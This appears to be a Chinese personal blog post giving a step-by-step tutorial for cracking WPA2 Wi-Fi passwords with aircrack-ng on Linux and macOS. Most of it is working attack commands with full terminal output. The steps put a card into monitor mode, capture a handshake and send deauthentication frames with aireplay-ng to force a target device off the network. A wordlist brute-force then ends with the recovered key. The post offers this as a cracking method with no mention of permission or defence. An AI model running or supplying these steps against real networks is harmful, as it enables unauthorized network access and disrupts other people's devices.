记得博客网

WiFi密码字典暴力破解,aircrack-ng工具破解密码

凌雲
凌雲
2021-04-08 21:24 阅读：7279

点我前往aircrack-ng官网

密码字典请点击这里前往gitee查看

Linux环境

1. 安装 aircrack-ng

  • 使用相应包管理工具安装
    例：Debian/Ubuntu 使用 apt 安装 sudo apt install aircrack-ng

2. 查看可用的无线网卡

使用命令：airmon-ng

lingyun@lingyun-CN15S:~$ sudo airmon-ng

PHY	Interface	Driver		Chipset

phy0	wlp3s0		rtl8723be	Realtek Semiconductor Co., Ltd. RTL8723BE PCIe Wireless Network Adapter

根据以上输出，可用的无线网卡为 wlp3s0。

3. 指定无线网卡开启监听模式。

使用命令：airmon-ng start <网卡名称> 

lingyun@lingyun-CN15S:~$ sudo airmon-ng start wlp3s0

Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    779 avahi-daemon
    789 NetworkManager
    869 wpa_supplicant
    881 avahi-daemon

PHY	Interface	Driver		Chipset

phy0	wlp3s0		rtl8723be	Realtek Semiconductor Co., Ltd. RTL8723BE PCIe Wireless Network Adapter

		(mac80211 monitor mode vif enabled for [phy0]wlp3s0 on [phy0]wlp3s0mon)
		(mac80211 station mode vif disabled for [phy0]wlp3s0)

根据以上输出，已经把 wlp3s0 这块无线网卡开启监听模式，开启后名字是 wlp3s0mon。

开启监听模式后无线网卡无法继续连接 wifi，使用需要关闭监听模式。

4. 扫描附近的无线网络

使用命令：airodump-ng <处于监听模式的网卡名称> 

lingyun@lingyun-CN15S:~$ sudo airodump-ng wlp3s0mon
 CH 12 ][ Elapsed: 2 mins ][ 2021-04-09 10:28 

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
                      
 60:3A:7C:33:CC:07  -43      315      405    7   6  270   WPA2 CCMP   PSK  YJRPX-2.4G                                           
Quitting...

这一步可能会输出两个列表（我这里只有一个），两个列表不停在刷新。

第一个列表表示扫描到的无线网络 AP 信息，会用到以下几列信息：

  • BSSID: 无线 AP 的硬件地址
  • PWR: 信号强度，值是负数，绝对值越小表示信号越强
  • CH: 无线网络信道
  • ENC: 加密方式，我们要破解的是 WPA2
  • ESSID: 无线网络的名称

第二个列表表示某个无线网络中和用户设备的连接信息：

  • BSSID: 无线 AP 的硬件地址
  • STATION: 用户设备的硬件地址

扫描列表会不停刷新，确定最终目标后按 Ctrl-C 退出。

这里仅仅是演示，所以列表只保留了一条结果。

5. 使用参数过滤扫描列表，确定扫描目标

使用命令：airodump-ng -w <扫描结果保存的文件名> -c <无线网络信道> --bssid <目标无线 AP 的硬件地址> <处于监听模式的网卡名称>

lingyun@lingyun-CN15S:~$ sudo airodump-ng -w wificap -c 6 --bssid 60:3A:7C:33:CC:07 wlp3s0mon

 CH  6 ][ Elapsed: 1 min ][ 2021-04-09 10:37 ][ WPA handshake: 60:3A:7C:33:CC:07 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 60:3A:7C:33:CC:07  -41   1      761     1825    0   6  270   WPA2 CCMP   PSK  YJRPX-2.4G                                  

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 60:3A:7C:33:CC:07  00:56:2A:21:0C:6F   -1    1 - 0      0      500                                                         
 60:3A:7C:33:CC:07  00:56:2A:21:33:11   -1    1e- 0      0      441                                                         
 60:3A:7C:33:CC:07  00:28:1A:3D:90:F0  -63    1e- 1      0      832                                                         
 60:3A:7C:33:CC:07  00:56:2A:21:B6:71  -63    1 - 1      2      579                                                         
 60:3A:7C:33:CC:07  00:56:2A:23:ED:AC  -63    1 - 1      0      471                                                         
 60:3A:7C:33:CC:07  00:56:2A:21:56:A9  -63    1e- 1    523      722  EAPOL                                                  
 60:3A:7C:33:CC:07  00:56:2A:21:64:DC  -71    1e- 1      0      802                                                         
 60:3A:7C:33:CC:07  00:28:1A:3D:8D:24  -71    1e- 1      0      685                                                         
Quitting...

刚扫描时看到输出的扫描状态是这样的：CH  6 ][ Elapsed: 12 s ][ 2021-04-09 10:36。

只有当扫描状态后面出现 [ WPA handshake: 60:3A:7C:33:CC:07 后，我们才拿到拿到进行破解的握手包。

扫描过程中如果有用户设备尝试连接 Wi-Fi 时，我们就会拿到握手包。

所以我们可以同时使用 aireplay-ng 对目标设备进行攻击，使其掉线重新连接，这样我们就拿到了握手包。


拿到握手包后按 Ctrl-C 结束扫描即可。

6. 使用 aireplay-ng 对目标设备发起攻击

使用命令：aireplay-ng -<攻击模式> <攻击次数> -a 无线 AP 硬件地址> -c <用户设备硬件地址> <处于监听模式的网卡名称>

netcon@conwlt:~$ sudo aireplay-ng -0 0 -a 60:3A:7C:33:CC:07 -c AC:BC:32:96:31:8D wlp3s0mon
18:57:31  Waiting for beacon frame (BSSID: 22:47:DA:62:2A:F0) on channel 6
18:57:32  Sending 64 directed DeAuth. STMAC: [AC:BC:32:96:31:8D] [41|64 ACKs]
18:57:33  Sending 64 directed DeAuth. STMAC: [AC:BC:32:96:31:8D] [19|121 ACKs]
18:57:33  Sending 64 directed DeAuth. STMAC: [AC:BC:32:96:31:8D] [11|80 ACKs]
...

发起攻击后，当 airodump-ng 成功拿到了握手包，使用 Ctrl-C 退出攻击。

7. 使用 aircrack-ng 暴力破解 Wi-Fi 密码

使用命令：aircrack-ng -w 密码字典 <包含握手包的 cap 文件>

lingyun@lingyun-CN15S:~$ sudo aircrack-ng -w /home/lingyun/password-dictionary/WiFi密码（8位起步）/wpa.txt wificap-01.cap
Reading packets, please wait...
Opening wificap-01.cap
Read 13348 packets.

   #  BSSID              ESSID                     Encryption

   1  60:3A:7C:33:CC:07  YJRPX-2.4G                WPA (1 handshake)

Choosing first network as target.


      [00:07:17] 3741905/3741905 keys tested (8706.93 k/s)

      Time left: 2 seconds                                       0.48%

                          KEY FOUND! [ 1234567890 ]


      Master Key     : A8 70 17 C2 C4 94 12 99 98 4B BB BE 41 23 5C 0D 
                       4A 3D 62 55 85 64 B2 10 11 79 6C 41 1A A2 3B D3 

      Transient Key  : 58 9D 0D 25 26 81 A9 8E A8 24 AB 1F 40 1A D9 ED 
                       EE 10 17 75 F9 F1 01 EE E3 22 A5 09 54 A8 1D E7 
                       28 76 8A 6C 9E FC D3 59 22 B7 82 4E C8 19 62 D9 
                       F3 12 A0 1D E9 A4 7C 4B 85 AF 26 C5 BA 22 42 9A 

      EAPOL HMAC     : 22 C1 BD A7 BB F4 12 A5 92 F6 30 5C F5 D4 EE BE

根据以上输出，我们已经破解成功！Wi-Fi 密码是：1234567890

8. 无线网卡退出监听模式

使用命令：airmon-ng stop <处于监听模式的无限网卡名称>

lingyun@lingyun-CN15S:~$ sudo airmon-ng stop wlp3s0mon
[sudo] lingyun 的密码： 

PHY	Interface	Driver		Chipset

phy0	wlp3s0mon	rtl8723be	Realtek Semiconductor Co., Ltd. RTL8723BE PCIe Wireless Network Adapter

		(mac80211 station mode vif enabled on [phy0]wlp3s0)

		(mac80211 monitor mode vif disabled for [phy0]wlp3s0mon)

MAC OS环境

1. 查看网卡名称

在终端中执行 ifconfig 即可查看，通常是 en0

2. 使用 airport 监听无线网络

由于某些原因，airmon-ng 无法在 MAC OS 使用，所以只能使用 airport 进行扫描和抓包了，但是并不好用，所以还是使用 linux 吧尽量...


开始扫描，终端中执行：

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 scan

扫描结果会是这样的：

SSIDBSSIDRSSICHANNELHTCCSECURITY (auth/unicast/group)
小米手机22:47:da:62:2a:f0-296Y--WPA2(PSK/AES/AES)
  • SSID 表示 Wi-Fi 名称
  • BSSID 表示 Wi-Fi 设备的硬件地址
  • RSSI 表示信号强度，值是负数，绝对值越小信号越强
  • CHANNEL 表示 Wi-Fi 信道
  • HT 表示吞吐量模式，一般都为 Y
  • CC 表示国家，中国为 CN
  • SECURITY 表示加密方式

3. 使用 airport 进行抓包

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff

抓一段儿时间之后，使用 Ctrl + C 停止抓包，完成后会生成一个 cap 包，看到如下提示：

Session saved to /tmp/airportSniff0RjCAO.cap.

4. 安装 aircrack-ng

使用 Homebrew 安装：

brew install aircrack-ng

5. 使用 aircrack-ng 执行破解

aircrack-ng -w common.txt /tmp/airportSniff0RjCAO.cap

Windows

此文章版权归凌雲所有，内容为作者个人观点，本站只提供参考并不构成任何投资及应用建议。本站拥有对此声明的最终解释权。

{{commentTotal}} 条评论

凌雲
{{item.nickname}}
 {{item.create_date}}
{{item.content}}
- 上拉或点击加载更多 -
- 加载中 -
- 没有更多了 -
- 本文链接 -